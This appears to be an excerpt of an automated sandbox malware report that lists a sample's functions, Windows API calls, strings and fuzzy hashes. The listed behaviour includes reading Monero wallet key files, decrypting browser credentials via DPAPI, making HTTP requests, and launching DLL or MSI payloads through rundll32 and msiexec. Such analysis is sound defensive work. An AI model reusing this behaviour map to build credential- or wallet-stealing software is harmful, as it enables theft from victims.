RtlCaptureContext.KERNEL32(?), ref: 6C8DDC3B
GetProcAddress.KERNEL32(SymFunctionTableAccess64), ref: 6C8DDC7D
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6C8DDCA7
GetCurrentProcess.KERNEL32 ref: 6C8DDCBC
GetProcAddress.KERNEL32(StackWalkEx), ref: 6C8DDCDF
ReleaseMutex.KERNEL32(?), ref: 6C8DDE01
GetProcAddress.KERNEL32(StackWalk64), ref: 6C8DDF34

Part of subcall function 6C8AAC00: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8DEBD8

Strings

SymGetModuleBase64, xrefs: 6C8DDC9C
SymFunctionTableAccess64, xrefs: 6C8DDC72
StackWalk64, xrefs: 6C8DDF29
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 6C8DDE28
StackWalkEx, xrefs: 6C8DDCD4
stack backtrace:, xrefs: 6C8DDB97

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: AddressCurrentProc$ErrorLast$Process$CaptureContextDirectoryFreeHeapMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]$stack backtrace:
API String ID: 2896442597-500235477
Opcode ID: c4f46946f2c25304d9aa891d48ab1eb897caacf09d8a5b7c83f32c85567c0912
Instruction ID: c5493c2b8b17ff1adbe88bf914309325f71ce9f102ef2e6436321d4d0e4e5ca2
Opcode Fuzzy Hash: c4f46946f2c25304d9aa891d48ab1eb897caacf09d8a5b7c83f32c85567c0912
Instruction Fuzzy Hash: 9BF106B5600B009FE730CF25C984B92BBF4BB45308F118D2EE5AA97A91DB71B448CF51

Function 004191A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004191FC

Strings

`dAF, xrefs: 004191CF, 00419399, 004191D2, 0041939C
`dAF, xrefs: 00419361, 004193D9, 0041930E, 004192DF, 004192B2, 0041920D, 004191E4, 00419364
image/jpeg, xrefs: 004192C6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: `dAF$`dAF$image/jpeg
API String ID: 2244384528-2462684518
Opcode ID: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction ID: 5957f6d1424668cbfb95915d93d24f68315a2265fb4ab52f55d04562dbc5d918
Opcode Fuzzy Hash: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction Fuzzy Hash: BE710E71E11208ABDB14EFE4DC95FEEB779BF48300F10851AF516A7290EB34A944CB65

Function 004119F0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00411A15
ExitProcess.KERNEL32 ref: 00411A21
strtok_s.MSVCRT ref: 00411A38

Strings

block, xrefs: 00411A07

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 1f0f84f1c6c132a16ad49c43e162cf8975f1175bc1bc8b8d234cf50fd6cc2e6d
Instruction ID: 24cedd258c0b2a3a786e48f87e23423129f016670b7ad46fccbec0895e921d59
Opcode Fuzzy Hash: 1f0f84f1c6c132a16ad49c43e162cf8975f1175bc1bc8b8d234cf50fd6cc2e6d
Instruction Fuzzy Hash: 00513174B0A109DFCB04DF94D984FEE77B9AF44704F10405AE502AB261E778EA91CB5A

Function 00415510 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,02CC7220), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,02CC6548,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
lstrlenA.KERNEL32(00000000), ref: 0041557F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
lstrlenA.KERNEL32(00000000), ref: 004155D3
strtok.MSVCRT(00000000,?), ref: 004155EE
lstrlenA.KERNEL32(00000000), ref: 004155FE

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

ERROR, xrefs: 00415682
ERROR, xrefs: 004156BF
ERROR, xrefs: 004156F9
lXA, xrefs: 0041570E, 004156D4, 00415697, 0041565A, 0041561E
ERROR, xrefs: 00415609
ERROR, xrefs: 0041555A

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$lXA
API String ID: 3532888709-2643084821
Opcode ID: d3baa39c53511b2e5c65da600a6392413ec0037e3dfcc1f2cc4bc4ffc5205072
Instruction ID: 990a636b304bf614e487c778196146b6daa8d27d3f5f6fae7c13381180e093e6
Opcode Fuzzy Hash: d3baa39c53511b2e5c65da600a6392413ec0037e3dfcc1f2cc4bc4ffc5205072
Instruction Fuzzy Hash: B7518030A11148EBCB14FF61DDA6AED7339AF10354F50442EF50A671A1EF386B94CB5A

Function 00411520 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411557
strtok_s.MSVCRT ref: 004119A0

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02CBEB50,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bda9ece019fec45989a0fac33e763ec2645a230b38903ad477536e26a0420bf4
Instruction ID: 972b35e280e46cb9f8f2efccef7ae82ad5cc4b0fb079cf0b80f28d4141883f35
Opcode Fuzzy Hash: bda9ece019fec45989a0fac33e763ec2645a230b38903ad477536e26a0420bf4
Instruction Fuzzy Hash: 98C1D1B5A011089BCB14EF60DC99FDA7379AF58308F00449EF509A7282EB34EAD5CF95

Function 00413080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

ShellExecuteEx.SHELL32(0000003C), ref: 00413415
ShellExecuteEx.SHELL32(0000003C), ref: 004135AD
ShellExecuteEx.SHELL32(0000003C), ref: 0041373A

Strings

.msi, xrefs: 004135E8
/i ", xrefs: 00413634
C:\Windows\system32\rundll32.exe, xrefs: 00413582
.dll, xrefs: 00413435
C:\Windows\system32\msiexec.exe, xrefs: 0041370F
"" , xrefs: 004132EA
/passive, xrefs: 004136AB
<, xrefs: 004136E0

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: e5092a39490323d38963d56268c4292e1e0e6f0ef35ea057c9ff538237900815
Instruction ID: 9b621e5b28039e8226f92625bb5802f9f58bb257d03f06fe20f9cf3dfd15236c
Opcode Fuzzy Hash: e5092a39490323d38963d56268c4292e1e0e6f0ef35ea057c9ff538237900815
Instruction Fuzzy Hash: 271241719011189ACB14FBA1DDA2FEDB739AF14314F00419FF10666196EF382B99CFA9

Function 004144D0 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004144EE
memset.MSVCRT ref: 00414505

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 0041453C
lstrcatA.KERNEL32(?,02CC5720), ref: 0041455B
lstrcatA.KERNEL32(?,?), ref: 0041456F
lstrcatA.KERNEL32(?,02CC53A8), ref: 00414583

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 0040A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489
Part of subcall function 0040A430: memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00419550: GlobalAlloc.KERNEL32(00000000,0041462D,0041462D), ref: 00419563

StrStrA.SHLWAPI(?,02CC6380), ref: 00414643
GlobalFree.KERNEL32(?), ref: 00414762

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrcatA.KERNEL32(?,00000000), ref: 004146F3
StrCmpCA.SHLWAPI(?,004208D2), ref: 00414710
lstrcatA.KERNEL32(00000000,00000000), ref: 00414722
lstrcatA.KERNEL32(00000000,?), ref: 00414735
lstrcatA.KERNEL32(00000000,00420FA0), ref: 00414744

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 2c07d2e5f2d86ab56a62853050e3623f8415eeaf10f651efec3a708a135ae856
Instruction ID: a18e5ba717d90c20c2426d83a13a237c0a2f648a3df755456e30f39b11c63a78
Opcode Fuzzy Hash: 2c07d2e5f2d86ab56a62853050e3623f8415eeaf10f651efec3a708a135ae856
Instruction Fuzzy Hash: B77157B6D00218ABDB14EBA0DD45FDE737AAF88304F00459DF505A6191EB38EB94CF55

Function 6C8E2D00 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 232libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,00000000,?), ref: 6C8E2D19
GetProcAddress.KERNEL32(SymFromInlineContextW), ref: 6C8E2D49
GetProcAddress.KERNEL32(SymGetLineFromInlineContextW), ref: 6C8E2D7C
GetProcAddress.KERNEL32(SymAddrIncludeInlineTrace), ref: 6C8E2DE1
GetProcAddress.KERNEL32(SymQueryInlineTrace), ref: 6C8E2E0A

Strings

SymQueryInlineTrace, xrefs: 6C8E2DFF
X, xrefs: 6C8E2F13
SymGetLineFromInlineContextW, xrefs: 6C8E2D71
SymFromInlineContextW, xrefs: 6C8E2D3E
SymAddrIncludeInlineTrace, xrefs: 6C8E2DD6

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: SymAddrIncludeInlineTrace$SymFromInlineContextW$SymGetLineFromInlineContextW$SymQueryInlineTrace$X
API String ID: 2190909847-1953985048
Opcode ID: 026dd691a07a1865b37cb4b6871b5d546300c994a658f1841b80130cc236738d
Instruction ID: d090e64639b124484652a11b8322d5d15d59d0094a128da2beaeac6394a37b7d
Opcode Fuzzy Hash: 026dd691a07a1865b37cb4b6871b5d546300c994a658f1841b80130cc236738d
Instruction Fuzzy Hash: 3CA160706087859BE7218F19C985BDBB7F8BF8A318F104A1DE98497250E771D941CB92

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02CC1280,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 73ed4a7991840447e3620769775b9aff35c05faa6c6033eb90306302314cbdb9
Instruction ID: 8a875ffafc7cdb1f6750a56d7bf9635fee6f51bf8c43acc15b4905507f63a119
Opcode Fuzzy Hash: 73ed4a7991840447e3620769775b9aff35c05faa6c6033eb90306302314cbdb9
Instruction Fuzzy Hash: 915153B1E5011857CB14EB60DD96BED733D9F54304F4045EEB60A62092EE346BD8CAAE

Function 61E3C943 Relevance: 16.9, APIs: 3, Strings: 8, Instructions: 360stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E3CC03
strncmp.MSVCRT ref: 61E3CC58
strncmp.MSVCRT ref: 61E3CCA9

Strings

], xrefs: 61E3CDC5
null, xrefs: 61E3CBF8
0, xrefs: 61E3CCF9
-, xrefs: 61E3CCF0
true, xrefs: 61E3CC4D
}, xrefs: 61E3CDBB
false, xrefs: 61E3CC9E
-, xrefs: 61E3CD00

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: strncmp
String ID: -$-$0$]$false$null$true$}
API String ID: 1114863663-1443276563
Opcode ID: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction ID: 7d0d7d581299a88f4ecf4101ed3cb2921062378b47abb911dec42016596cbabc
Opcode Fuzzy Hash: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction Fuzzy Hash: 4BD1DF70B482768ADB12CFA8C4443DABBF2AFCA318F69C25BD4919B281D739D446C751

Function 00407630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407330: memset.MSVCRT ref: 00407374
Part of subcall function 00407330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
Part of subcall function 00407330: RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
